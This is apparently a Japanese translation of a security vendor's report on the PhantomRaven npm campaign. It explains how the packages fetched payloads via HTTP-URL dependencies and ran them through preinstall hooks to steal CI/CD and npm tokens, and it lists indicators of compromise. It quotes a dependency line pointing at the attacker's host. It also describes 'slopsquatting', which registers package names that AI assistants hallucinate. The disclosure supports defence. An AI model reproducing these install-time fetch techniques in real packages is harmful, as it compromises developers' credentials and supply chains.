126個の悪意あるnpmパッケージ。86,000回以上のダウンロード。世界中の開発者からnpmトークン、GitHub認証情報、CI/CDシークレットを積極的に盗み続けている – すべて、ほとんどのセキュリティツールが依存する依存関係分析から隠された依存関係に悪意あるコードを隠しながら。
私たちはこのキャンペーンを「PhantomRaven」と呼んでいます。
発見
私たちのリスクエンジンであるWingsは、2025年10月に奇妙なものにフラグを立てました。インストール時に外部ネットワークリクエストを行うパッケージ – すべて同じ疑わしいドメインに送信されていました。
糸をたぐり始めると、8月から続いていたキャンペーンが見つかりました。その規模は驚異的でした:126個のパッケージで合計86,000以上のインストールがありました。そしてそのうち80個は現在もまだアクティブで、世界中の開発者から認証情報を静かに収集していました。スコープは印象的でしたが、本当に私たちの注意を引いたのは、どのようにして彼らがそれをしていたかという方法でした。これらのパッケージは、エコシステムのほとんどのセキュリティツールから悪意あるコードを隠す方法を見つけていました。
タイムライン:
- 2025年8月:キャンペーン開始、最初のパッケージが公開される
- 2025年8月:最初の21個のパッケージがnpmで検出・削除される
- 2025年9月~10月:80個の追加パッケージがアップロードされ、検出を回避
- 2025年10月:Koi Securityの行動監視によってキャンペーンが発見される
攻撃者のインフラストラクチャは、これほど洗練された手法にしては驚くほど粗雑でした。無料プロバイダーからの連続したメールアカウント – jpdtester01@hotmail[.]com、jpdtester02@outlook[.]com、jpdtester13@gmail[.]comまで。npmhellやnpmpackagejpdのようなユーザー名。すべて明らかに同じ人物に支配されていました。
しかし配信メカニズム?それは巧妙でした。

隠れ続けた方法:リモート動的依存関係(RDD)
npmでこれらの悪意あるパッケージの1つを開きます。ソースコードを確認します。次のようなものが見つかります:
#!/usr/bin/env node
console.log('Hello, world!');
以上です。完全に無害です。シンプルなhelloWorldスクリプト。
では、悪意あるコードはどこにあるのでしょうか?それはレビューしているパッケージにはありません。インストール時に取得される見えない依存関係にあります。
ほとんどのnpm依存関係は次のようなものです:
"dependencies": {
"express": "^4.18.0"}
しかし、npmはほとんどの開発者が使わないもの – 依存関係指定子としてのHTTP URLもサポートしています:
"dependencies": {
"ui-styles-pkg": "http://packages.storeartifact.com/npm/unused-imports"}
この種類の依存関係を持つパッケージをインストールすると、npmはその外部URLからそれを取得します。npmjs.comからではなく。攻撃者が望む場所からです。
そしてnpmjs.comはこれらのURLに従いません。セキュリティスキャナーはそれらを取得しません。依存関係分析ツールはそれらを無視します。すべての自動化されたセキュリティシステムに対して、これらのパッケージは「0個の依存関係」を表示します。

npmでレビューしているパッケージ?クリーンです。空です。安全です。
悪意あるコード?packages.storeartifact.comに置かれており、インストール時に取得されるのを待機しています。
さらに悪いことになります:彼らがダウンロードするものを制御します
誰かが「npm install」を実行するたびに、その依存関係は攻撃者のサーバから新しく取得されます。キャッシュされていません。バージョン管理されていません。ロックされていません。新しく。
攻撃者はそのサーバを制御しています。彼らはインストールしている人に基づいてあなたが取得するコードを決定できました。
これは洗練されたターゲティングへの扉を開きます。理論上、彼らはすべてのリクエストのIPアドレスをチェックし、異なるペイロードを提供することができました:VPN上のセキュリティ研究者には無害なコード、企業ネットワークには悪意あるコード、クラウド環境には特別なペイロード。またはじっくり進める – 信頼を構築し、セキュリティスキャンを通過するために数週間きれいなコードを返し、スイッチを切り替えて悪意あるバージョンの提供を開始します。
自動実行の問題
しかし、悪意あるコードを依存関係に含めるだけでは不十分です – それは実行される必要があります。そしてnpmはそれを自動的にします。
「npm install」を実行すると、npmはパッケージをダウンロードするだけではありません。コードを実行します。具体的には、package.jsonで定義されたライフサイクルスクリプト – preinstall、install、postinstallフックを実行します。
RDD経由で取得された悪意あるパッケージにあるものは次のとおりです:
"scripts": {
"preinstall": "node index.js"}
そのpreinstallスクリプトは自動的に実行されます。プロンプトはありません。警告はありません。ユーザー操作は不要です。
このパッケージが依存関係ツリーのどのくらい深くにあるかは問題ではありません。パッケージをインストールして、パッケージに依存し、悪意あるpreinstallスクリプトを持つパッケージに依存しますか?そのコードはあなたのマシン上で実行されます。自動的に。
完全な攻撃チェーン:
- 開発者がnpmからきれいに見えるパッケージをインストールする
- npmは攻撃者のサーバから見えない RDDを取得する
- 悪意あるパッケージはpreinstallスクリプトで到着する
- npmはインストールが完了する前に自動的に「node index.js」を実行する
- マルウェアが活動を開始する
これらすべてが、npm installが完了するのに要する数秒で発生します。
PhantomRavenが実際にしていることは何か
RDD技術を通じてインストールされると、PhantomRavenが仕事を開始します。そして、それが何を望んでいるかについて微妙ではありません – あなたの認証情報、あなたの環境、すべて。
どこにでもあるあなたのメールを探す
まず、あなたが誰かを知る必要があります。マルウェアは開発環境全体からメールアドレスを体系的に検索します:

それは環境変数をチェックします。あなたの.gitconfig。あなたの.npmrc。さらには package.json の author フィールドも。メールが隠れているあらゆる可能な場所。
厄介ですか?確かにそうです。しかし、単なるメール収集は単独ではそんなに怖いものではありません。
次に – あなたの全体のCI/CD環境
彼らはあなたのインフラストラクチャについてすべてを知りたいと思っています:

GitHub Actionsトークン – あなたのリポジトリとワークフローへの直接アクセス。GitLab CI認証情報 – プロジェクトアクセスとパイプライン制御。Jenkinsの認証情報 – ビルドサーバーアクセスとデプロイメント機能。CircleCI トークン – プロジェクトビルドとデプロイメントキー。npm認証トークン – あなたが保有するすべてのパッケージに悪意あるアップデートを公開する能力。
その後 – 完全なシステムフィンガープリント
マルウェアは認証情報で止まりません。それはあなたの開発環境の完全なプロフィールを構築します:

あなたの公開IP(外部サービスから取得)、ホスト名、OS詳細、ローカルIP、ユーザー名、現在のディレクトリ、Node.jsバージョン – 彼らが侵害したシステムの種類を理解し、どのくらい価値があるかを知るのに役立つすべて。
企業ネットワーク?高価値ターゲット。クラウドCI/CDパイプライン?大当たり。開発者ラップトップ?他のすべてへのエントリーポイント。
そして最後に – データが確実に出ていることを確認する
流出は偏執狂的なレベルで冗長です:

まず、すべてのデータをURLにエンコードされた HTTP GET リクエスト。次に、同じデータを JSON として HTTP POST リクエストで。両方が失敗した場合?バックアップサーバーへの WebSocket 接続。
攻撃的なファイアウォールを備えた限定的なネットワーク環境であっても、彼らはデータを取得しています。
Slopsquatting:AI支援パッケージ名攻撃
PhantomRavenのパッケージ名はランダムなタイポスクワットではありません。彼らは新しい脆弱性を利用するために慎重に選ばれています:LLM幻覚。
開発者がGitHub CopilotやChatGPTのようなAIアシスタントにパッケージの推奨を求めるとき、モデルはそもそも存在しない、もっともらしく聞こえるパッケージ名を提案することがあります。PhantomRavenはそれらの存在しないパッケージを作成しました。
この攻撃ベクトル – AI幻覚を悪用して悪意あるパッケージを登録する – は「slopsquatting」と呼ばれるものです。
例:
- eslint-comments → 正規パッケージ:eslint-plugin-eslint-comments
- transform-react-remove-prop-types → 正規パッケージ:babel-plugin-transform-react-remove-prop-types
- unused-imports → 正規パッケージ:eslint-plugin-unused-imports
これらの名前は:
- AIが提案する可能性がある正規パッケージに十分に近い
- 既存のパッケージを直接タイポスクワットしていない程度に異なる
- 開発者がすぐに質問しない程度に妥当
AIアシスタントは「unused-imports」を「eslint-plugin-unused-imports」のよりシンプルな代替案として提案するかもしれません。開発者は、AIの推奨を信頼して、二度と考えることなくそれをインストールします。
これは理論的ではありません。私たちは既にワイルドなPhantomRavenマルウェアを依存関係として含むパッケージを見つけています – AIの推奨に基づいてこれらのパッケージをインストールした被害者で、彼らのシステムを侵害していることに全く気づかずにいます。
最後の考え
この研究は、好奇心と懸念の等量によって駆動されたKoi Securityのチームによって実施されました。
PhantomRavenは、従来のセキュリティツールの盲点を悪用することに、攻撃者がどの程度洗練されるようになっているかを示しています。リモート動的依存関係は静的分析に見えません。AI幻覚は開発者が信頼する、もっともらしく聞こえるパッケージ名を作成します。そしてライフサイクルスクリプトは自動的に実行され、ユーザー操作は不要です。
これらは理論的な脆弱性ではありません – それらは今、数千人の開発者に影響を与えるアクティブな悪用技術です。
私たちはこの問題に対処するためにKoiを構築しました。私たちのリスクエンジンはパッケージが何であるかを主張するだけでは分析しません – それらを実行し、実際に何をするかを監視します。インストール中のネットワークリクエスト。ファイルシステムアクセスパターン。静的分析がキャッチできない異常な動作。
フォーチュン500企業および世界最大のテクノロジー企業のいくつかに信頼されているKoiは、npm、PyPI、VS Code拡張機能、Chrome拡張機能、その他を含むパッケージエコシステム全体にリアルタイムリスクスコアリングとガバナンスを提供します。
デモをリクエストする従来のセキュリティツールを通り抜ける攻撃をキャッチする方法を見るため。
マルウェアが、セキュリティスキャンに表示されない依存関係に隠れることができるため、あなたはパッケージが何を言うかではなく、実際に何をするかを監視するツールが必要です。
安全でいてください。
IOC
悪意あるインフラストラクチャ:
- packages.storeartifact.com
- 54.173.15.59
- 流出エンドポイント:jpd.php
侵害されたパッケージ:
fq-ui, mocha-no-only, ft-flow, ul-inline, jest-hoist, jfrog-npm-actions-example, @acme-types/acme-package, react-web-api, mourner, unused-imports, jira-ticket-todo-comment, polyfill-corejs3, polyfill-regenerator, @aio-commerce-sdk/config-tsdown, @aio-commerce-sdk/config-typedoc, @aio-commerce-sdk/config-typescript, @aio-commerce-sdk/config-vitest, powerbi-visuals-sunburst, @gitlab-lsp/pkg-1, @gitlab-lsp/pkg-2, @gitlab-lsp/workflow-api, @gitlab-test/bun-v1, @gitlab-test/npm-v10, @gitlab-test/pnpm-v9, @gitlab-test/yarn-v4, acme-package, add-module-exports, add-shopify-header, jsx-a11y, prefer-object-spread, preferred-import, durablefunctionsmonitor, durablefunctionsmonitor-vscodeext, durablefunctionsmonitor.react, e-voting-libraries-ui-kit, named-asset-import, chai-friendly, aikido-module, airbnb-babel, airbnb-base-hf, airbnb-base-typescript-prettier, airbnb-bev, airbnb-calendar, airbnb-opentracing-javascript, airbnb-scraper, airbnb-types, ais-sn-components, goji-js-org, google-cloud-functions-framework, chromestatus-openapi, elemefe, labelbox-custom-ui, rxjs-angular, @apache-felix/felix-antora-ui, @apache-netbeans/netbeans-antora-ui, syntax-dynamic-import, no-floating-promise, no-only-tests, @i22-td-smarthome/component-library, vuejs-accessibility, lfs-ui, react-async-component-lifecycle-hooks, eslint-comments, wdr-beam, lion-based-ui, lion-based-ui-labs, eslint-disable-next-line, eslint-github-bot, eslint-plugin-cli-microsoft365, eslint-plugin-custom-eslint-rules, @item-shop-data/client, @msdyn365-commerce-marketplace/address-extensions, @msdyn365-commerce-marketplace/tax-registration-numbers, artifactregistry-login, crowdstrike, wm-tests-helper, external-helpers, react-important-stuff, audio-game, faltest, only-warn, op-cli-installer, react-naming-convention, skyscanner-with-prettier, xo-form-components, xo-login-components, xo-page-components, xo-shipping-change, xo-shipping-options, xo-title, xo-tracking, xo-validation, badgekit-api-client, important-stuff, transform-es2015-modules-commonjs, transform-merge-sibling-variables, transform-react-constant-elements, transform-react-jsx-source, transform-react-remove-prop-types, transform-strict-mode, trezor-rollout, filename-rules, ing-web-es, inline-react-svg, ts-important-stuff, firefly-sdk-js, firefly-shared-js, zeus-me-ops-tool, zeus-mex-user-profile, ts-migrate-example, ts-react-important-stuff, zohocrm-nodejs-sdk-3.0, iot-cardboard-js, pensions-portals-fe, sort-class-members, sort-keys-fix, sort-keys-plus, flowtype-errors, twilio-react, twilio-ts, bernie-core, bernie-plugin-l10n, spaintest1, typescript-compat, typescript-sort-keys, uach-retrofill
攻撃者インフラストラクチャ:
無料メールプロバイダー全体の連続したメールパターン:
- npmjjjj ([email protected])
- npmjpd2 ([email protected])
- npmtestdharsh ([email protected])
- npmtesthas1 ([email protected])
- packagejpd ([email protected])
- npmhell ([email protected])
- npmpackagejpd ([email protected])
- onlynpmpackagejpd ([email protected])
- micropackage1 ([email protected])
- npmpackagejpd12 ([email protected])
- jpdhackerone11 ([email protected])
- jpd12 ([email protected])
- packagedharsh ([email protected])
- jpd13 ([email protected])
翻訳元: https://www.koi.ai/blog/phantomraven-npm-malware-hidden-in-invisible-dependencies